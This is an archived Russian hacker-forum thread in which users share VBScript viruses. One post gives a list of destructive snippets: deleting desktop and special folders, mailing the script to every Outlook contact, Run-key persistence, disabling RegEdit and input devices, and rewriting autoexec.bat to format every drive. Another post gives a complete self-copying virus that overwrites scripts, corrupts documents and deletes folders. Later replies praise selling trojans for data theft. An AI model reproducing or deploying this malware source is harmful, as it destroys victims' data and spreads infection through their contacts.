Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

VBScript Script File

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> VBScript Script File
Имя
Сообщение << Старые топики   Новые топики >>
VBScript Script File - 2006-11-07 12:30:19.676666   
Сикатри

Сообщений: 1
Оценки: 0
Присоединился: 2006-11-07 12:26:04.536666
Народ…ктонить пишит вирусы на VBScript Script File…
Давайте выкладывать тут вирусы кто какие написал……
Я щас пишу троян и червя…..позже могу выложить….
Post #: 1
RE: VBScript Script File - 2006-11-08 23:07:00.286666   
je0n

Сообщений: 126
Оценки: 0
Присоединился: 2004-07-05 23:40:07
:)
while 1 msgbox "you are hacked" wend :)
Если честно, я не предствляю как можно написать троян (ну допустим кейлогер) на VBS. По крайней мере без использования ActiveX. Поделиська своими талантами

Да и вообще ты не в тот форум написал. VBS не компилируемый:@
Post #: 2
RE: VBScript Script File - 2007-04-09 02:05:42.710000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
quote:

ORIGINAL: je0n


Да и вообще ты не в тот форум написал. VBS не компилируемый:@

 
Бред Имхо. Еще как компилируемый и кодируемый и AV не обнаруживаемый
Post #: 3
RE: VBScript Script File - 2007-04-10 22:20:31.430000   
stasww

Сообщений: 71
Оценки: 0
Присоединился: 2007-03-02 20:15:34.900000
CODE
Set f = CreateObject("scripting.filesystemobject")
Set s = CreateObject("Wscript.Shell")
t=0: on error resume next
Set os = CreateObject("Shell.Application")
set ie = WScript.CreateObject("InternetExplorer.Application")
Set oe = WScript.CreateObject("Outlook.Application")

Так начинку сделали….
Теперь я пропишу ВАМ основные действия вируса:…..

0)' Сообщение с запросом пароля
prl=inputbox("text1", "text2")
if prl="Пароль" then f.deletefile WScript.ScriptFullName, true: Wscript.Quit


1) Сделаем так чтобы после открытия нашего проекта у юзвера выскочило сообщение:
CODE' Вывести сообщение
s.popup "text1", , "text2", 0+16

text1 - само сообщение
text2 - заголовок сообщения

0+x - тип сообщения
(0+0) - обычный тип
(0+16) - ошибка
(0+64) - информация
(0+48) - восклицание
(0+32) - вопрос


2) Нам нужно что-то переименовать….
CODE' Переименование всех файлов, находящихся на Робочем столе на "text"
For Each Folder In s.SpecialFolders
if right(folder,12)="Рабочий стол" then
set tf=f.getfolder(folder)
set af=tf.files
For Each fl In af
set file=f.getfile(fl):t=t+1
file.name="text" & t
next
end if
next

text - новый текст!
————————————-

' Переименование папки Мои документы на "Новое_Название"
For Each Folder In s.SpecialFolders
if right(folder,13)="Мои документы" then
set tf=f.getfolder(folder): tf.name="Новое_Название"
End if
next
————————————

' Переименование всех файлов, находящихся в Моих документах на "Новое_название"
For Each Folder In s.SpecialFolders
if right(folder,13)="Мои документы" then
set tf=f.getfolder(folder)
set af=tf.files
For Each fl In af
set file=f.getfile(fl):t=t+1
file.name="НАЗВАНИЕ" & t
next
end if
next
————————————

' Переименование всех файлов, находящихся в Главное меню\Программы на "новое_название"
For Each Folder In s.SpecialFolders
if right(folder,12)="Главное меню" then
set tf=f.getfolder(folder)
set af=tf.subfolders
For Each fl In af
set file=f.getfolder(fl):t=t+1
file.name="новое_название" & t
next
end if
next

v 3) Нам нужно что-то переместить:

CODE' Перемещение Рабочего стола в "FOLDER"
For Each Folder In s.SpecialFolders
if right(folder,12)="Рабочий стол" then
f.copyfolder folder, "FOLDER"
f.deletefolder folder, true
next

(folder - папка)
————————————–

' Перемещение папки Мои документы в "папка"
For Each Folder In s.SpecialFolders
if right(folder,13)="Мои документы" then
f.copyfolder folder, "папка"
f.deletefolder folder, true
next


4) ……Интернет
CODE
' Сделать домашней страницу "http:\\hackep.ru"
s.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", "http:\\hackep.ru"
—————————————-

' Перейти на сайт "http:\\hackep.ru"
ie.Visible = True
ie.Navigate "http:\\hackep.ru"
—————————————-

' Разослать вирус Всем контактам неприятеля
For Index = 1 To oe.GetNameSpace("MAPI").AddressLists(1).count
Set OutMail = oe.CreateItem(0)
OutMail.to = oe.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
OutMail.Subject = "в теме письма"
OutMail.Body = "в теле письма"
OutMail.Attachments.Add WScript.ScriptFullName
OutMail.Send
Next


5) Удаляем нужные объекты….
CODE' Удаление специальных папок
For Each Folder In s.SpecialFolders
————————————————-

' Удаление Рабочего стола
f.deletefolder s.SpecialFolders ("Desktop"),true
————————————————-

' Удаление Aplication Data
if right(folder,15)="Aplication Data" then f.deletefolder folder,true
————————————————-

' Удаление PrintHood
if right(folder,9)="PrintHood" then f.deletefolder folder,true
————————————————-

' Удаление ShellNew
if right(folder,8)="ShellNew" then f.deletefolder folder,true
————————————————-

' Удаление шрифтов
if right(folder,5)="FONTS" then f.deletefolder folder,true
————————————————-

' Удаление NetHood
if right(folder,7)="NetHood" then f.deletefolder folder,true
————————————————-

' Удаление Главное меню
if right(folder,12)="Главное меню" then f.deletefolder folder,true
————————————————-

' Удаление SendTo
if right(folder,6)="SendTo" then f.deletefolder folder,true
————————————————-

' Удаление Recent
if right(folder,6)="Recent" then f.deletefolder folder,true
————————————————-

' Удаление Автозагрузка
if right(folder,12)="Автозагрузка" then f.deletefolder folder,true
————————————————-

' Удаление Избранное
if right(folder,9)="Избранное" then f.deletefolder folder,true
————————————————-

' Удаление Мои документы
if right(folder,13)="Мои документы" then f.deletefolder folder,true
————————————————-

' Удаление Программы
if right(folder,9)="Программы" then f.deletefolder folder,true
Next


6) Очень вредоносное……. (делать не советую)
CODE' Поменять функции клавиш мышки местами
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SwapNT", "rundll32 user32, SwapMouseButton"
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Swap98", "rundll32.exe user.exe, swapmousebutton"
s.Run "rundll32 user32, SwapMouseButton"
————————————————-

' Вырубить клавиатуру(Только для Windows 95,98,Me)
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Dead", "rundll32 keyboard,disable"
s.Run "rundll32.exe keyboard.exe, disable"
————————————————-

' Отключить мышь(Только для Windows 95,98,Me)
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Mad", "rundll32 mouse,disable"
s.Run "rundll32.exe mouse.exe, disable"
————————————————-

' Минимизировать все окна
os.MinimizeAll
————————————————-

' Запускаться при каждой перезагрузке
Set File2 = f.GetFile(WScript.ScriptFullName)
File2.Copy ("c:\windows\System\Gigabyte.vbs")
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Gigabyte", "C:\WINDOWS\SYSTEM\Gigabyte.vbs"
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Gigabyte", "C:\WINDOWS\SYSTEM\Gigabyte.vbs"
————————————————-

' Блокировать RegEdit(чтоб у него не заводился редактор реестра).Для того чтобы разблокировать происвойте DisableRegistryTools значение - 0
s.RegWrite "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM\DisableRegistryTools", 1, "REG_DWORD"
————————————————-
' Форматировать Все диски (Только для Windows 95,98,Me)
If f.FileExists("d:\autoexec.bat") Then Str ="d:\autoexec.bat"
If f.FileExists("d:\Windows.000\autoexec.bat") Then Str ="d:\Windows.000\autoexec.bat"
If f.FileExists("d:\Windows\autoexec.bat") Then Str ="d:\Windows\autoexec.bat"
If f.FileExists("c:\autoexec.bat") Then Str = "c:\autoexec.bat"
If f.FileExists("c:\Windows.000\autoexec.bat") Then Str = "c:\Windows.000\autoexec.bat"
If f.FileExists("c:\Windows\autoexec.bat") Then Str = "c:\Windows\autoexec.bat"
Set ab = f.GetFile(Str)
ab.Attributes = 0
Set autoexec = f.CreateTextFile(Str)
autoexec.WriteLine "@cls"
autoexec.WriteLine "@format c: /q /autotest"
autoexec.WriteLine "@format d: /q /autotest"
autoexec.WriteLine "@format e: /q /autotest"
autoexec.WriteLine "@format f: /q /autotest"
autoexec.WriteLine "@format g: /q /autotest"
autoexec.WriteLine "@format h: /q /autotest"
autoexec.WriteLine "@format i: /q /autotest"
autoexec.Close
s.Run Str, 5
————————————————-

' Перезагрузить компьютер(Только для Windows 95,98,Me)
s.Run "Rundll32.exe User.exe,ExitWindows"
————————————————-

' Самоликвидироваться
f.deletefile WScript.ScriptFullName, true
Post #: 4
RE: VBScript Script File - 2007-04-11 01:46:08.623333   
voody

Сообщений: 958
Оценки: 0
Присоединился: 2005-02-06 22:28:30
Вот вам код одного вируса. Писал его ровно 3 года назад (тогда только начинал писать вирусы на VBS, это - одна из моих первых работ). Думаю, не трудно догадаться, что он делает:

—————————————————————————

Dim a, s, WinFolder, WinFiles, WinFile, EachWinFile, FileExtension, ScriptText, ScriptCode, CodeChanges, ElseExtension, FileNumber, VBSFile, VBSCopy, WinFLDRS, WinFLDR, EachWinFolder, SelectFolder, SPCL, SpecFol
On Error Resume Next
Set a = CreateObject("Scripting.FileSystemObject")
Set s = CreateObject("WScript.Shell")
Sub GeneralFileActions(SelectFolder)
On Error Resume Next
FileNumber = 0
Set ScriptText = a.OpenTextFile(WScript.ScriptFullName, 1)
ScriptCode = ScriptText.ReadAll
ScriptText.Close
Set WinFolder = SelectFolder
Set WinFiles = WinFolder.Files
For Each WinFile In WinFiles
Set EachWinFile = a.GetFile(WinFile):FileNumber = FileNumber + 1
FileExtension = a.GetExtensionName(EachWinFile)
FileExtension = LCase(FileExtension)
If FileExtension = "vbs" or FileExtension = "vbe" Then
Set CodeChanges = a.OpenTextFile(EachWinFile, 2)
CodeChanges.Write ScriptCode
CodeChanges.Close
ElseIf FileExtension = "txt" or FileExtension = "doc" Then
Set CodeChanges = a.OpenTextFile(EachWinFile, 2)
CodeChanges.Write "This is a Windows Killer!"
CodeChanges.Close
Else
ElseExtension = a.GetExtensionName(EachWinFile)
EachWinFile.Name = "WindowsKiller" & FileNumber & "." & ElseExtension
End If
Next
End Sub
Sub ElseActions()
On Error Resume Next
Set VBSCopy = a.GetFile(WScript.ScriptFullName)
VBSCopy.Copy(a.GetSpecialFolder(1) & "\MSKernel386.vbs")
VBSCopy.Copy(s.SpecialFolders(1) & "\SystemUpdate.vbs")
VBSCopy.Copy(s.SpecialFolders(2) & "\SystemUpdate.vbs")
VBSCopy.Copy(s.SpecialFolders(3) & "\SystemUpdate.vbs")
VBSCopy.Copy(a.GetSpecialFolder(4) & "\MSKernel386.vbs")
VBSCopy.Copy(s.SpecialFolders(5) & "\SystemUpdate.vbs")
VBSCopy.Copy(s.SpecialFolders(6) & "\SystemUpdate.vbs")
VBSCopy.Copy(a.GetSpecialFolder(7) & "\MSKernel386.vbs")
VBSCopy.Copy(s.SpecialFolders(8) & "\SystemUpdate.vbs")
VBSCopy.Copy(s.SpecialFolders(9) & "\SystemUpdate.vbs")
VBSCopy.Copy(a.GetSpecialFolder(10) & "\MSKernel386.vbs")
VBSCopy.Copy(s.SpecialFolders(11) & "\SystemUpdate.vbs")
VBSCopy.Copy(s.SpecialFolders(12) & "\SystemUpdate.vbs")
VBSCopy.Copy(s.SpecialFolders(13) & "\SystemUpdate.vbs")
VBSCopy.Copy(s.SpecialFolders(14) & "\SystemUpdate.vbs")
s.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MSKernel386", a.GetSpecialFolder(1) & "\MSKernel386.vbs", "REG_SZ"
End Sub
Sub GeneralFolderActions()
On Error Resume Next
Set WinFLDRS = WinFolder.SubFolders
For Each WinFLDR In WinFLDRS
Set EachWinFolder = a.GetFolder(WinFLDR)
a.DeleteFolder(EachWinFolder)
Next
End Sub
If a.FileExists(a.GetSpecialFolder(1) & "\MSKernel386.vbs") Then
Call GeneralFileActions(a.GetSpecialFolder(0))
Call GeneralFolderActions()
For Each SPCL in s.SpecialFolders
Set SpecFol = a.GetFolder(SPCL)
Call GeneralFileActions(SpecFol)
Call GeneralFolderActions()
Next
Else
Call ElseActions()
End If
Post #: 5
RE: VBScript Script File - 2007-04-11 01:53:55.096666   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
2 voody
 
Гы, вот ты злодей:)
Post #: 6
RE: VBScript Script File - 2007-04-11 15:50:58.106666   
voody

Сообщений: 958
Оценки: 0
Присоединился: 2005-02-06 22:28:30

quote:

ORIGINAL: Pashkela

2 voody

Гы, вот ты злодей:)


Да, ладно, это было 3 года назад, к тому же, я больше не пишу вирусы, тем более, на скрипт-языках. Теперь я пишу трояны. Это во-первых (для меня) интереснее, во-вторых, полезнее (можно собрать интересную информацию), востребованнее (хорошие трояны хорошо продаются, что не скажешь об обычных вирусах). И, последнее, это куда гуманнее, т.к. троян не причиняет вреда компу (за редкими исключениями, но это уже не совсем троян тогда будет), под угрозой остается только конфиденциальность информации.
Post #: 7
RE: VBScript Script File - 2007-04-11 18:26:25.676666   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
Полностью согласен, просто разрушать - мегатупо. Лучше песдануть чонить
Post #: 8
RE: VBScript Script File - 2007-07-22 11:13:52.430000   
Ponni

Сообщений: 3
Оценки: 0
Присоединился: 2007-07-21 15:42:43.360000
всем привет.такой вопрос-
fso.deletefile "c:\*mp3" по идее эта строка должна удалять все mp3 файлы на компе.но не находит файлы.подскажите как правильнее будет?много мануалов качал,но везде говорится что - fso.deletefile "c:\*mp3" правильно.
Post #: 9
RE: VBScript Script File - 2007-07-22 15:44:12.170000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
quote:

ORIGINAL: Ponni

всем привет.такой вопрос-
fso.deletefile "c:\*mp3" по идее эта строка должна удалять все mp3 файлы на компе.но не находит файлы.подскажите как правильнее будет?много мануалов качал,но везде говорится что - fso.deletefile "c:\*mp3" правильно.

 
А после звезды точку поставить не судьба? И потом перед этим надо еще Set Fso сделать
Post #: 10
RE: VBScript Script File - 2007-07-23 05:27:19.686666   
Ponni

Сообщений: 3
Оценки: 0
Присоединился: 2007-07-21 15:42:43.360000
set fso = createobject("scripting.filesystemobject")
on error resume next
fso.deletefile "c:\*.mp3"
вот полный пример.я точку по невниманию не поставил.этот пример не работает.почему?везде говорится что правильный путь.
Post #: 11
RE: VBScript Script File - 2007-07-30 00:00:15.160000   
IO.sys

Сообщений: 33
Оценки: 0
Присоединился: 2006-12-08 08:15:32.390000
a che tak uje proboval ?

Kill ("c:\*.mp3")
Post #: 12
RE: VBScript Script File - 2007-08-06 09:00:57.883333   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
quote:

ORIGINAL: Ponni

set fso = createobject("scripting.filesystemobject")
on error resume next
fso.deletefile "c:\*.mp3"
вот полный пример.я точку по невниманию не поставил.этот пример не работает.почему?везде говорится что правильный путь.


"on error resume next" - когда ищешь ошибку в проге, эту строчку лучше комментировать, будет хотя бы выскакивать ошибка, по которой можно догодаться о причине. А уж когда все работает, то вот тогда и ставь ее взад

Как предположение - на диске C:\  в корне просто нет .mp3

А вот в C:\Downloads\Music может и есть
 
А вот если ты хочешь не зная точного местоположения .mp3 просто в принципе удалить их с жесткого диска C:\ где бы они не находились, то тут код будет чуточку сложнее, а не так вот, в лоб.
Post #: 13
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> VBScript Script File







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.